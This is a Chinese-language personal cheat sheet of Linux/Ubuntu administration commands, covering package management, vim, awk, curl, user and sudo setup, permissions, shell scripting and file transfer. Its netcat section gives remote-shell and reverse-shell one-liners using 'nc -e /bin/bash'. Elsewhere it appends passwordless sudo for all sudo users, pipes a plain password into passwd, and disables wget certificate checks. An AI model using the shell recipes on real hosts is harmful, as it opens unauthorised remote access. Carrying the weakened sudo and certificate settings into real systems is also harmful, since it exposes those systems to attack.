系统相关:
ubuntu destop与server版:
确认版本:
systemctl status display-manager
gdm:
systemctl status gdm
ligthdm
systemctl status lightdm,通过命令apt-get install lightdm和dpkg-reconfigure lightdm
destop->server:
方法1:
apt purge ubuntu-desktop -y && sudo apt autoremove -y && sudo apt autoclean
问题:
卸载完ubuntu-destop还能进桌面,只是只有背景,和右键的几个简单设置。
apt-get remove xserver-xorg-core
问题:
1.开机主界面卡在reached target cloud-init target
解决:touch /etc/cloud/cloud-init.disabled
2.开机卡在Starting Update UTMP about System Runlevel Changes,ssh可以进去,看到display-manager service仍然在跑。
systemctl set-default multi-user.target,会关闭了display-manager service
或者
rm /etc/systemd/system/display-manager.service /etc/systemd/system/display-manager.service.wants/gpu-manager.service
rm /usr/share/xsessions -rf
这个好处是系统的get-default还是graphical.target
可选:
此外还包含一些其他的安装包,可以对比server版的package。
问题:
1.网络不可用
重新安装netplan.io
2.键盘不可用
暂未解决
最后问题:
卸载了各种软件,最后发现关机的时候还是有图形化界面。开机的时候也还有。问题不大。
方法2,切换模式,不卸载package:
systemctl get-default
systemctl set-default multi-user.target
错误方法:
systemctl stop display-manager
systemctl disable display-manager
systemctl disable gdm.service
编辑/etc/default/grub文件也没有,而且不推荐修改,不方便server和destop切换。
server->destop
systemctl set-default graphical.target
apt install -y ubuntu-desktop
ubuntu内核升降级:
升级:
uname -a
apt update
sudo apt-get install linux-headers-4.15.0-45 linux-headers-4.15.0-45-generic linux-image-4.15.0-45-generic
apt list|grep 4.15.0-45 然后 apt install linux-modules-extra-4.15.0-45-generic linux-tools-4.15.0-45-generic linux-tools-4.15.0-45
reboot
缺少包会导致网络不可用
如何降级:
进入ubuntu系统时,选择旧版本的kernel
sudo dpkg -l | grep 4.15.0-45
apt remove xxx | dpkg
查看系统信息:
arch 显示机器的处理器架构(1)
uname -m 显示机器的处理器架构(2)
uname -r 显示正在使用的内核版本
dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI)
hdparm -i /dev/hda 罗列一个磁盘的架构特性
hdparm -tT /dev/sda 在磁盘上执行测试性读取操作
cat /proc/cpuinfo 显示CPU info的信息
cat /proc/interrupts 显示中断
cat /proc/meminfo 校验内存使用
cat /proc/swaps 显示哪些swap被使用
cat /proc/version 显示内核的版本
cat /proc/net/dev 显示网络适配器及统计
cat /proc/mounts 显示已加载的文件系统
lspci -tv 罗列 PCI 设备
lsusb -tv 显示 USB 设备
date 显示系统日期
cal 2007 显示2007年的日历表
date 041217002007.00 设置日期和时间 - 月日时分年.秒
clock -w 将时间修改保存到 BIOS
系统日志:
syslogd运行程序会记录系统上不同的活动,如sendmail、内核警告等
配置文件
/etc/rsyslogd.conf
常见日志文件:
/var/log/wtmp 包含了用户的登录次数和持续时间的二进制信息
/var/run/utmp 包含了目前登录系统的用户信息
ubuntu新服务器安装:
1.mount mkfs挂载盘
2.安装py2 py3(ubuntu都有) 对应的pip
sudo apt install python3-pip
安装对应的第三方库
pipreqs(根据当前目录下的项目的依赖来导出三方类库)
pip freeze(本地环境中所有三方包信息)
pip3 freeze > requirements.txt
pip3 install -r requirements.txt
如果报错,用cat requirements.txt | xargs -n 1 sudo pip3 install
3.安装git
sudo apt-get update
sudo apt-get install git
4.下载项目
添加ssh公钥到gitlab的公共账号(只能pull的一个账号)上面(可能需要git白名单添加)
git clone ssh项目地址
ubuntu系统备份:
clonezilla:
apt-get install clonezilla
clonezilla
挂载device到/home/partimag目录
amd64下ap直接安装,但arm64通过deb安装,最后发现drbl的依赖syslinux不支持arm64
tar打包:
sudo tar czf /backup.tar.gz --exclude=/backup.tar.gz --exclude=/dev --exclude=/mnt --exclude=/proc --exclude=/sys --exclude=/tmp --exclude=/lost+found /
tar xvpfz backup.tgz -C /
reboot
基本命令:
文件描述符(fd)与重定向:
每个命令执行都会产生三个文件描述符0,1,2
0:标准输入
1:标准输出 # 默认是屏幕,ls 1>log.txt,不加1默认是1
2:错误输出 # 默认也是屏幕,lssdd 2>error.log
>>表示追加
ls >log.txt 2>&1 错误和输出都放在log.txt
ls >/dev/null /dev/null所有写入的内容都会丢失
管道|:
一个操作符,一个命令的输出作为另一个命令的输入
echo 123456|passwd --stdin root
与重定向>的区别:
|是标准输入
>是将结果作为变量输入
对于sudo echo "hello" > /etc/test权限问题:
方法1:
echo "hello" |sudo tee /etc/test
方法2:
sudo sh -c "echo 'hello' | cat > /etc/test"
curl命令:
访问网页 -d 是post请求,多个参数使用&连接,并且要加""把参数引起来
1. 获取页面内容
curl http:
2. 显示 HTTP 头
curl -I http:
curl -i http:
3. 将链接保存到文件
方法一 curl http:
方法二 curl -o index.html http:
方法三 curl -O http:
4. 同时下载多个文件
curl -o page1.html http:
curl -O http:
5. 使用 -L 跟随链接重定向
curl -L http:
6. 使用 -A 自定义 User-Agent
curl -A “Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0” http:
7. 使用 -H 自定义 header
curl -H “Referer: www.example.com” -H “User-Agent: Custom-User-Agent” http:
curl -H “Cookie: JSESSIONID=D0112A5063D938586B659EF8F939BE24” http:
8. 使用 -c 保存 Cookie
curl -c “cookie-example” http:
9. 使用 -b 读取 Cookie
-H也可
curl -b “JSESSIONID=D0112A5063D938586B659EF8F939BE24” http:
如果要从文件中读取 Cookie,-H 就无能为力了,此时可以使用 -b 来达到这一目的:
curl -b “cookie-example” http:
10. 使用 -d 发送 POST 请求
-d 用于指定发送的数据,-X 用于指定发送数据的方式
POST请求
curl -d “userName=tom&passwd=123456” -X POST http:
在使用 -d 的情况下,如果省略 -X,则默认为 POST 方式:
curl -d “userName=tom&passwd=123456” http:
GET请求
curl -d “somedata” -X GET http:
或者使用 -G 选项:
curl -d “somedata” -G http:
从文件中读取 data
curl -d “@data.txt” http:
取得HTTP返回的状态码
curl -I -m 10 -o /dev/null -s -w %{http_code} www.baidu.com
-V
curl失败退出:
curl -f -v -s -X GET "https://${HARBOR_REGISTRY}:8443/api/v2.0/projects/${DOCKER_HARBOR_LIBRARY}/repositories" -H 'Content-Type: application/json' -k -u admin:${HARBOR_ADMIN_PASSWORD} > /dev/null && echo "\nharbor has been already!\n" && return
grep:
文本内容查找命令
grep root /etc/passwd
cat /etc/log |grep log
-c匹配的行数量 -i不分大小写 -n额外显示行号 -v打印不匹配的行 >写到哪个文件 -q判断是否存在,不返回结果
-C n 显示匹配位置前后n行 -A 后 -B 前
-o 按行显示匹配结果
-E 'pattern1|pattern2'
-e pattern1 -e pattern2
支持正则表达式 ^ $ . * ^$空白行
例子:
grep -V "^$" /etc/bashrc > /etc/bashrc.bak
tar -cvf conf.tar /etc/*
tar -tvf conf.tar|grep yum.repos.d
vim:
命令模式:i:光标前 a:光标后 o:新行 zz:保存并退出
编辑模式:
末行模式(命令模式下输入:):w保存,wq保存退出,q不保存退出,wq!强制保存,q!强制不保存退出
e编辑其他文件 r写入其他文件 !执行shell命令并切换至屏幕 r!执行shell命令并输出至文件
移动:h左 j下 k上 l右
翻页:ctrl+f 向尾翻 ctrl+b 向头翻
移动:gg首行 G尾行 Ngg第N行 ^当前行的开头 $当前行的结尾
w:移动到单词的结尾 b:移动到单词开头,0(零):移到到该行开头,$:移到到行末尾
搜索:
键入/
向前搜索 ?
剪切:dd Ndd
复制:yy Nyy y$ 复制至光标末尾
粘贴:p 插入后面 P 插入前面
撤销:u(undo)
删除:x 删除光标下字符 dw 删除单词 d$ 删除光标位置知道行尾
替换:R:替换模式 r:替换单一字符后回到命令模式
其他:w 文件名:另存;N:移动到第N行;set nu:显示行号
缓存:rm .*.swp
自定义配置:yum install lrzsz vim ~/.vimrc
技巧:
1.:[x,y[s/pattern/replacement/flags
如
:1,10s/a/A
%代表整个文件,$文件最后一行,空白表示目前所在那一行
flags:
默认情况下替换第一个匹配的
g:替换每行中每一个出现的pattern
s:替换前每次询问
2.标记
移到光标到某一行,键入m+字母,即可标为该行为该字母
使用:
'a 移到标记处
`a 移到标记时光标所在的位置
示例:
:'a,.s/w/W
3.寄存器
名称是单一字母,a-z A-Z 如"a
方法:
"ayy 复制当前行
"ap 粘贴
"ay`a 复制光标位置到标记a的文字
技巧:
:e 编辑新文件,可以使用寄存器
4.执行其他命令
:x,y!command
5.扩展
:set命令
如:set ai可以开启文字自动缩排的功能(:set noai)
能够在~/.vimrc(可能其他类似名字)写入,每次自动加载
6.小键盘不能正常使用
xshell的问题,网页则不会
设置:
xshell编辑属性:在类别中选择“VT模式”,然后在右侧的选项中,选择:初始数字键盘模式中的“设置为普通”
EOF用法:
cat << EOF > /tmp/yourfilehere
These contents will be written to the file.
This line is indented.
EOF
wget提示证书问题:
docker的container内出现,加上
原因:
发现openssl的具体信息不一致apt show openssl和openssl version -a查看具体的platform
之前一个镜像的系统版本是ubuntu:18.04.4,platform为linux-aarch64。而18.04.5的为debian-arm64。OPENSSLDIR和ENGINESDIR等参数也不同
解决:
container退出后再登录,发现openssl version -a的platform变为debian-arm64,这样就没问题了。
有可能是底层镜像变化了。期间有操作过docker pull ubuntu:18.04可能更新了底层
临时解决方法:
echo "check_certificate = off" >> ~/.wgetrc
指定参数也行:
wget https://www.baidu.com
其他方案:
apt安装的是linux-aarch64,那么源码编译openssl,./Configure debian-arm64,但提示平台不支持
update-ca-certificates -f
df命令卡住问题:
如果挂载的文件系统无法访问,df命令就会卡住,这个时候就需要强制卸载挂载点。
NFS服务器关了,这边客户端就会卡死 umount -fl /mnt
如果发现正忙,杀死所有占用的进程: fuser -uck /mnt
进阶命令:
awk命令:
概述:
行处理器,处理过程: 依次对每一行进行处理,然后输出
awk [-F|-f|-v] ‘BEGIN{}
[-F|-f|-v] 大参数,-F指定分隔符,-f调用脚本,-v定义变量 var=value
' ' 引用代码块
BEGIN 初始化代码块,在对每一行进行处理之前,初始化代码,主要是引用全局变量,设置FS分隔符
{} 命令代码块,包含一条或多条命令
; 多条命令使用分号分隔
END 结尾代码块,在对每一行进行处理之后再执行的代码块,主要是进行最终计算或输出结尾摘要信息
特殊要点:
$0 表示整个当前行
$1 每行第一个字段
NF 字段数量变量
NR 每行的记录号,多文件记录递增
FNR 与NR类似,不过多文件记录不递增,每个文件都从1开始
\t 制表符
\n 换行符
FS BEGIN时定义分隔符
RS 输入的记录分隔符, 默认为换行符(即文本是按一行一行输入)
~ 匹配,与==相比不是精确比较
!~ 不匹配,不精确比较
== 等于,必须全部相等,精确比较
!= 不等于,精确比较
&& 逻辑与
|| 逻辑或
+ 匹配时表示1个或1个以上
/[0-9][0-9]+/ 两个或两个以上数字
/[0-9][0-9]*/ 一个或一个以上数字
FILENAME 文件名
OFS 输出字段分隔符, 默认也是空格,可以改为制表符等
ORS 输出的记录分隔符,默认为换行符,即处理结果也是一行一行输出到屏幕
-F'[:#/]' 定义三个分隔符
示例:
1.多行求和。
cat ph_user_level.log |grep -o "length [0-9]\+"|grep -o "[0-9]\+"|awk '{sum+=$1} END {print sum}'
cat ph_user_level.log |grep -o "calculate score taken [0-9]\+.[0-9]\+"|grep -o "[0-9]\+.[0-9]\+"|awk '{sum+=$1} END {print sum}'
grep中的正则表达式要\转义
makefile编译:
结构:
TARGET … : DEPENDENCIES …
COMMAND
说明:
TARGET:代表我们生产的目标文件
DEPENDENCIES:是用来产生目标的输入文件,一个目标通常依赖于多个文件。
COMMAND:命令行
makefile的另外一个规则就是最终目标必须写在第一行
如果Make命令运行时没有指定目标,默认会执行Makefile文件的第一个目标。
netcat命令:
server:
nc -v -l 127.0.0.1 6000
client:
nc -v -p 5000 localhost 6000
telnet也可以
参数介绍:
-g<网关>:设置路由器跃程通信网关,最多设置8个;
-G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
-h:在线帮助;
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
-l:使用监听模式,监控传入的资料;
-n:直接使用ip地址,而不通过域名服务器;
-o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p<通信端口>:设置本地主机使用的通信端口;
-r:指定源端口和目的端口都进行随机的选择;
-s<来源位址>:设置本地主机送出数据包的IP地址;
-u:使用UDP传输协议;
-v:显示指令执行过程;
-w<超时秒数>:设置等待连线的时间;
-z:使用0输入/输出模式,只在扫描通信端口时使用。
常用场景:
判断端口是否开放:
nc -z 127.0.0.1 6379
nc -z -v -n 192.168.1.1 21-25
nc -w 10 localhost 2389
监听端口:
nc -l 80
文件传输:
nc -l 20000 < file.txt
nc -n 192.168.1.1 20000 > file.txt
tar -cvf – dir_name | nc -l 20000
nc -n 192.168.1.1 20000 | tar -xvf -
远程打开shell
nc -l 20000 -e /bin/bash -i
nc 192.168.1.1 20000
反向shell
反向shell是指在客户端打开的shell。
nc -l 20000
nc 192.168.1.1 20000 -e /bin/bash
xargs命令:
xargs 是给命令传递参数的一个过滤器,也是组合多个命令的一个工具。
xargs 可以将管道或标准输入(stdin)数据转换成命令行参数,也能够从文件的输出中读取数据。
xargs 也可以将单行或多行文本输入转换为其他格式,例如多行变单行,单行变多行。
xargs 默认的命令是 echo,这意味着通过管道传递给 xargs 的输入将会包含换行和空白,不过通过 xargs 的处理,换行和空白将被空格取代。
xargs 是一个强有力的命令,它能够捕获一个命令的输出,然后传递给另外一个命令。
命令格式:
somecommand |xargs -item command
参数:
-a file 从文件中读入作为sdtin
-e flag ,注意有的时候可能会是-E,flag必须是一个以空格分隔的标志,当xargs分析到含有flag这个标志的时候就停止。
-p 当每次执行一个argument的时候询问一次用户。
-n num 后面加次数,表示命令在执行的时候一次用的argument的个数,默认是用所有的。
管道传过来的每一个单词(默认空格分割,可指定)都算一个argument
-n指定每次传多少个argument
-t 表示先打印命令,然后再执行。
-i 或者是-I,这得看linux支持了,将xargs的每项名称,一般是一行一行赋值给 {},可以用 {} 代替。
-r no-run-if-empty 当xargs的输入为空的时候则停止xargs,不用再去执行了。
-s num 命令行的最大字符数,指的是 xargs 后面那个命令的最大命令行字符数。
-L num 从标准输入一次读取 num 行送给 command 命令。
-l 同 -L。
-d delim 分隔符,默认的xargs分隔符是回车,argument的分隔符是空格,这里修改的是xargs的分隔符。
-x exit的意思,主要是配合-s使用。。
-P 修改最大的进程数,默认是1,为0时候为as many as it can ,这个例子我没有想到,应该平时都用不到的吧。
遍历pod拉取镜像:
li=`kg pod -A |grep Running |awk '{print $2,"-n",$1}' | xargs -n3 kubectl get pod -o yaml|grep "image: harbor.apulis"`
for one in $li;do docker tag $one kelvin0486/`echo $one|rev|cut -d/ -f1|rev`;docker push kelvin0486/`echo $one|rev|cut -d/ -f1|rev`;done
screen命令:
新建:
screen
screen -S name
退出\离线:
-d <作业名称> 将指定的screen作业离线。新开一个shell再执行。
重新进入:
screen -r xxx
-R 先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
-x 恢复之前离线的screen作业。
清理:
screen -wipe
杀掉screen:
kill -9 name
cut命令:
字符串分割
string="hello,shell,split,test"
array=(${string//,/ })
for var in ${array[@]}
do
echo $var
done
A="$(cut -d'_' -f2 <<<'one_two_three_four_five')"
echo "$A"
two
示例:
cat docker-compose.yml |grep image | cut -d':' -f 2-
cat docker-compose.yml |grep image | cut -d':' -f 2- |xargs -n 1 docker pull
用户:
查看用户:
id -u用户id
uid
gid:初始组,自动创建
groups:一个用户多个组
cat /etc/passwd czl:x:501:501::/home/czl:/bin/bash
user id:password:uid:gid:userinfo:home dir:shell /bin/bash允许登录 /sbin/nologin无法登录
cat /etc/group bin:x:1:bin,daemon
group name:group passwd:gid:group list
用户管理:
useradd[参数][用户名]
区别:
useradd如果不输入命令,默认不创建home目录,shell版本,密码
adduser则会交互式提醒输入,当然可以直接命令行指定
adduser --force-badname --home /home/${DLWS_USER_NAME} --shell /bin/bash --uid ${DLWS_UID} -gecos '' --gid ${DLWS_GID} --disabled-password ${DLWS_USER_NAME}
adduser --force-badname --home /home/czl --shell /bin/bash -gecos '' czl
adduser czl sudo
usermod -p $(echo ${DLTS_JOB_TOKEN} | openssl passwd -1 -stdin) ${DLWS_USER_NAME}
-d 指定home目录
-g 指定gid
-G 指定所属组列表
usermod 修改 -d -g 追加组-a -G
userdel 删除 -r
修改uid:编辑/etc/passwd,然后chown改变原先文件的拥有者即可 chown -R test /home/test
用户切换:
su 用户名 不加任何用户名称时,默认切换root用户
群组操作:
newgrp:
使用后启动新的shell,在离开这个shell之前都暂时属于该群组
没有密码或者*不能加入
groupadd[参数][组名] 添加组
可通过groups查看所在群组
用途:文件权限划分,特殊硬件(如扫描器)的读取权限
groupmod
密码:
查看密码:
cat /etc/shadow 密文形式,而/etc/passwd存放的密码一般是x或者*(停用了),称为影子口令,防止撞库
修改密码:
passwd user
sudo权限配置:
cat /etc/sudoers czl ALL=(ALL) NOPASSWD:ALL 记得不要被组的设置给覆盖了,导致nopasswd不生效
/etc/sudoers.d/90-cloud-init-users 亚马逊配置
配置sudo命令的PATH环境变量
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
执行sudo时,出于安全的考虑,这个程序将在新的、最小化的环境中执行,PATH会与当前用户的环境变量不一样,而是配置的
命令行设置:
adduser $DLWS_USER_NAME sudo
echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
关于sudoers修改错误的修复:
1.停掉实例
2.创建一个可用区相同的新实例(创建时选择子区),运行,登陆
3.detch旧实例的卷,挂载到新实例上
4.登陆新实例,进行操作
sudo mkdir bad
sudo mount /dev/xvdf /bad
这个时候可以对旧实例的数据进行修改了
sudo umount /bad
5.收尾操作即可
文件权限:
概述:
dr-xr-xr-x. 2 root root 4096 Aug 23 07:39 bin
文件数 所属用户 组 大小 日期 文件名
常用文件类型:
-普通文件
d目录文件
l链接文件
b块设备文件
c字符设备文件
p管道文件
颜色:
绿色:可执行文件
红色:压缩
蓝色:文件夹
浅蓝:链接
白色:一般性
ln -s 源文件 目标文件
红色:链接有问题
黄色:设备
灰色:其他文件
file + 查看属性
权限以三个字符为一组,第一组表示所属用户的权限,第二是所属组,第三是其他组
r:4可读 w:2可写 x:1可执行 - 无权限
rwx=7 rw=6 rx=5
改变权限:
chmod 704 /xx/xx -R 父目录权限也随之改
chmod o-r /xx/xx chmod ug+rwx /xx/xx
u g o 分别是用户,组,其他组
+ - = 分别是增加、去掉、赋值
r w x
查看:
ls -l 查看目录下文件
文件的类型
文档所有者的权限
与所有者同在一个组的用户的权限情况
其他用户的权限情况
文件硬链接数
文件(目录)拥有者
文件(目录)拥有者所在的组
文件所占用的空间(以字节为单位)
文件(目录)最近访问(修改)时间
文件(目录)名
ls -ld 查看目录本身
目录的r权限:能够读该目录下的文件列表,查看权限需要先有x。
目录的w权限:能够新建,删除,修改,移动目录内文件的权限,需要先有x。
目录的x权限:能够进入
1、目录的只读访问不允许使用cd进入目录,必须要有执行的权限才能进入。
2、只有执行权限只能进入目录,不能看到目录下的内容,要想看到目录下的文件名和目录名,需要可读权限。
3、一个文件能不能被删除,主要看该文件所在的目录对用户是否具有写权限,如果目录对用户没有写权限,则该目录下的所有文件都不能被删除,文件所有者除外
4、目录的w位不设置,即使你拥有目录中某文件的w权限也不能写该文件
硬链与软链:
在Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号。
文件属性保存在索引结点里,在访问文件时,索引结点被复制到内存里,从而实现文件的快速访问。
硬链:
硬链接说白了是一个指针,指向文件索引节点,系统并不为它重新分配inode。可以用:ln命令来建立硬链接。
硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。
其原因如上所述,因为对应该目录的索引节点有一个以上的连接。
只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。
软链:
软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。
文件硬链接数为0的情况:
lsof directory查看不了任何占用
lsblk可以看到挂载了该个目录
mount|grep profiling
/dev/sda3 on /var/log/npu/profiling type ext4 (rw,relatime,errors=remount-ro,data=ordered)
推测可能是error后remount-ro导致的。
umounnt /var/log/npu/profiling后正常
修改所属:
chown user:组 文件
chgrp user:组 文件
内容操作:
cp 拷贝
mv
rm删除文件 -r删除目录 -f强制 rmdir删除空目录
> 文件名 清空
查找:
find / -name *.*
find / -type 类型参数,如l
find / -perm 777 权限查找
find / -type f -user root -exec chown tom {}\;后面是固定格式 -exec是要执行
find / -mtime 0 表示当天 +1表示1天前
软件安装:
概述:
centos系统:yum安装的都是rpm已编译好的程序包就是多个 rpm -ivh 名字 rpm -e 卸载 rpm -a 查询 -qi 版本信息 -qR依赖库
ubuntu系统:apt与dkpg命令
手动编译:
wget *.tgz 或 curl -OL
tar -zxvf *.tgz
cd 进入目录
./configure --prefix=指定安装目录 检测平台特征
make
make install
make clean 出现问题重新编译
对于apt安装报错的解决:
1.安装提示processing错误的依赖列表,尝试sudo apt remove掉
sudo apt autoclean 将已经删除了的软件包的.deb安装文件从硬盘中删除
sudo apt clean 删除包缓存中的所有包
sudo apt autoremove -f 删除为了满足其他软件包的依赖而安装的,但现在不再需要的软件包。(如果安装其他软件也报错,尝试这个)
然后sudo apt install -f 根据提示是否进行sudo apt-get upgrade
apt-get
sudo apt-get update
sudo apt-get upgrade
2.对于提示dh-python : Depends: python3:any (>= 3.3.2-2~)的,自己编译源码然后ln python3到自己的python3地址
3.卸载docker时出错的解决
sudo rmdir /var/lib/dpkg/available
sudo touch /var/lib/dpkg/available
sudo rm /var/lib/dpkg/status
sudo cp /var/backups/dpkg.status.1.gz /var/lib/dpkg/
cd /var/lib/dpkg/
sudo gunzip dpkg.status.1.gz
sudo mv dpkg.status.1 status
apt-get update
dpkg不能正常工作:
cd /var/lib/dpkg/
sudo mv info info.bak
sudo mkdir info
sudo apt-get update
sudo apt-get -f install
sudo mv ./info/*./info.bak
sudo rm -r info
sudo mv info.bak info
apt下载不同架构的deb包:
sudo dpkg --add-architecture arm64
sudo vi /etc/apt/sources.list
# source urls for arm64
deb [arch=arm64] http:
deb [arch=arm64] http:
deb [arch=arm64] http:
deb [arch=arm64] http:
deb [arch=arm64] http:
deb [arch=arm64] http:
deb [arch=arm64] http:
apt-get update
apt-get install package:architecture
apt下载指定包到本地,包括依赖
apt-cache depends xxx
apt download xxx
apt install -d 和apt download的区别:
1.apt-get -d install明确需要root权限,而apt-get download不用
2.apt-get -d保存.deb于/var/cache/apt/archives,而apt-get download保存在当前路径
3.apt-get download更新
安装python3:
先安装pip依赖包
yum install openssl-devel -y
yum install gcc
yum install zlib
yum install zlib-devel
yum install libffi-devel -y
django依赖
yum install sqlite-devel
wget https://www.python.org/ftp/python/3.6.8/Python-3.6.8.tgz
tar -xvf Python-3.6.8.tgz
mkdir /usr/local/python3
进入文件夹
./configure
make && make install
mv /usr/bin/python /usr/bin/python_bak
ln -s /usr/local/python3/bin/python3 /usr/bin/python
ln -s /usr/local/python3/bin/pip3 /usr/bin/pip
切换至root用户修改yum文件,vim /usr/bin/yum 修改第一行为python2
安装pip
wget
tar -zxvf setuptools-19.6.tar.gz
cd setuptools-19.6
python3 setup.py build
python3 setup.py install
wget
tar -zxvf pip-8.0.2.tar.gz
cd pip-8.0.2
python3 setup.py build
python3 setup.py install
python3 setup.py install
在20.04上安装python2
apt update
apt install python2
curl https://bootstrap.pypa.io/get-pip.py
python2 get-pip.py
pip如何下载不同的包:
--platform=aarch64 --no-deps
关闭apt自动upgrade
编辑/etc/apt/apt.conf.d/20auto-upgrades
APT::Periodic::Update-Package-Lists "0";
APT::Periodic::Unattended-Upgrade "0";
编辑/etc/apt/apt.conf.d/10periodic
APT::Periodic::Update-Package-Lists "0";
APT::Periodic::Download-Upgradeable-Packages "0";
APT::Periodic::AutocleanInterval "0";
命令:
sed -i 's/APT::Periodic::Update-Package-Lists "1"/APT::Periodic::Update-Package-Lists "0"/' /etc/apt/apt.conf.d/20auto-upgrades
shell语言:
概述:
操作系统之上的软件
种类:
bash:shell的扩展,并且完全兼容shell(vim\vi)
csh:
ksh:
sh:原始的shell,不提供编辑命令行功能
shell script:
就是shell命令的函数用法,.sh文件后缀 sh + xx.sh允许
which sh看到sh执行路径,$PATH:配置默认执行命令的解析器路径,顺序搜索到后执行
修改luffy.sh 644为755即可路径执行 /root/luffy/.sh 或./luffy.sh
常用按键和用法:
ctrl+u:删除整行命令
ctrl+t:交换光标与光标前一位字母的位置
变量:
字母,下划线开头
引用:需加$符号,{}可以帮助解释器识别变量的边界
双引号:变量赋值可用不加引号,如果中间有空格,则一定要加;变量引用可放在双引号里
单引号:引号内的变量不会替换
位置变量:
$n 代表输入的第n个参数,0是命令本身,1-9
$* 代表输入的所有参数
$
$? 代表上一次命令的返回结果,0表示成功,其他表示失败
命令替换和赋值:
$(cmd) 或者`
命令替换是一个命令的输出作为另一个命令的参数,而管道将输出作为下一个命令的标准输入0
$PATH:
系统启动会自带一些变量
运算符:
逻辑运算符:
&& 前面命令执行完且成功执行后面命令
|| 前面命令执行有问题才执行后面命令,可用echod && echo ok || echo error
算术:
$(($i+$j))
$((1+2)) 结果是一个变量
命令分隔符:
条件:
用[ ]括起来,另外[ ]里外都需要用空格与周围隔开
if [ 表达式 ];then ;fi
if command;then ;fi
-eq 测试两个整数是否相等
-ne 测试两个整数是否不等
-gt 测试一个数是否大于另一个数
-lt 测试一个数是否小于另一个数
-ge 大于或等于
-le 小于或等于
字符串测试(两边要有空格)
== 等于
!= 不等
> 大于
< 小于
-z string 测试指定字符是否为空,空着真,非空为假
-n string 测试指定字符串是否为不空,空为假 非空为真
文件测试
-e FILE 测试文件是否存在
-f file 测试文件是否为普通文件
-d file 测试指定路径是否为目录
-r file 测试文件对当前用户是否可读
-w file 测试文件对当前用户是否可写
-x file 测试文件对当前用户是都可执行
组合测试
-a: and
-o: or
!: 非
if判断文件是否存在
if [ 表达式 ];then ;fi
文件:
if test -f c ;then echo 111;fi
if [ -f /etc/bash.bashrc ] ;then echo 111;fi [和test是等同的。
目录:
if [ ! -d "/myfolder" ]; then
判断变量是否为空
if [ ! -z $host ];then echo 111;fi
判断字符串相等
if [ ! -z $host ] && [ "$host" = "worker-1" ];then echo 111;fi
判断命令是否存在:
if ! [ -x "$(command -v sudo)" ] ; then 已存在
if ! command -v istioctl &> /dev/null; then echo 不存在;fi
循环:
for arg in [list];do command;done
while [condition];do command;done
until [];do command;done
输入:
read 变量名:输入字符串并赋值给该变量 -p 提示信息
例子:while read -p "please input a name" name; do echo $name $RANDOM; done
函数:
function name ()
{
}
可以加return返回值,也可以不带,如果不带就以最后一条命令运行结果,作为返回值。
数组操作:
定义:
a=(a b "c")
切片:
choice_run_func=("${run_func[@]:1}")
choice_run_func=("${run_func[@]:1:2}")
遍历:
for i in "${!run_func[@]}";do
echo "`expr $i + 1` . ${run_func[$i]}"
done
shell如何import函数
foo() {
echo foo $1
}
main() {
foo 1
foo 2
}
if [ "${1}" != "--source-only" ]; then
main "${@}"
fi
然后另一个脚本
. ./script.sh --source-only
foo 3
文件传输:
SCP命令:
scp local_file remote_username@remote_ip:remote_folder 需要输入密码,如果是ssh会失败
scp -r /home/jack/ root@192.168.xxx:xxx:/home/jihao -r目录
sftp命令:
交互式文件传输程式,要求ip(内外都可)能够ping通
连接
sftp username@remote ip(or remote host name)
sftp -oPort=2222 chenzl@52.77.87.141 再输入堡垒机密码
上传
put /path/filename(本地主机) /path/filename(远端主机)
下载
get /path/filename(远端主机) /path/filename(本地主机)
-r
在sftp的环境下的操作就和一般ftp的操作类似了,ls,rm,mkdir,dir,pwd,等指令都是对远端进行操作,
如果要对本地操作,只需在上述的指令上加‘l’变为:lls,lcd, lpwd等
scp ./pinggu_google.tar.gza* dlwsadmin@apulis-china-infra01.sigsus.cn:/mntdlws/nfs
速度要比sftp要快
rz\sz命令:
安装:
yum install -y lrzsz
使用:
sz filename
rz
挂载网盘:
挂载nfs盘,然后直接cp,速度也比较慢,但速度应该比scp快
需要开通111 2049 4046外网端口
打tar包,然后cp,解压
端口:
查看端口占用:
lsof -i :8000
kill -9 pid
-9 强制终止
-15 终止SIGTERM
-18 继续
-19 暂停
netstat -tunlp
-a (all)显示所有选项,默认不显示LISTEN相关,如time_wait,established,listening,connected等
-t (tcp)仅显示tcp相关选项
-u (udp)仅显示udp相关选项
-n 拒绝显示别名,能显示数字的全部转化成数字。
-l 仅列出有在 Listen (监听) 的服務状态
-p 显示建立相关链接的程序名
-r 显示路由信息,路由表
-e 显示扩展信息,例如uid等
-s 按各个协议进行统计
-c 每隔一个固定时间,执行该netstat命令。
端口开放:
iptables -I INPUT 1 -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT
查看本地端口状态:
netstat命令:
用于显示各种网络相关信息,如网络连接,路由表,接口状态 (Interface Statistics),masquerade 连接,多播成员 (Multicast Memberships) 等等。
常见参数:
-a (all)显示所有选项,netstat默认不显示LISTEN相关
-t (tcp)仅显示tcp相关选项
-u (udp)仅显示udp相关选项
-n 拒绝显示别名,能显示数字的全部转化成数字。(重要)
-l 仅列出有在 Listen (监听) 的服務状态
-p 显示建立相关链接的程序名(macOS中表示协议 -p protocol)
-r 显示路由信息,路由表
-e 显示扩展信息,例如uid等
-s 按各个协议进行统计 (重要)
-c 每隔一个固定时间,执行该netstat命令。
查看tcp连接状态:netstat -nat
几种常用的状态:LISTENING、ESTABLISHED代表一个打开的连接、TIME-WAIT等待足够的时间以确保远程TCP接收到连接中断请求的确认
ss命令:
ss -tnl
与netstat的区别:更快
测试远程端口状态:
telnet命令:
概述:
基于TELNET协议的远程登录客户端程序。Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式
允许一个用户启动远程机器的login会话,远程有一个守护进程telnetd监听请求,默认23端口
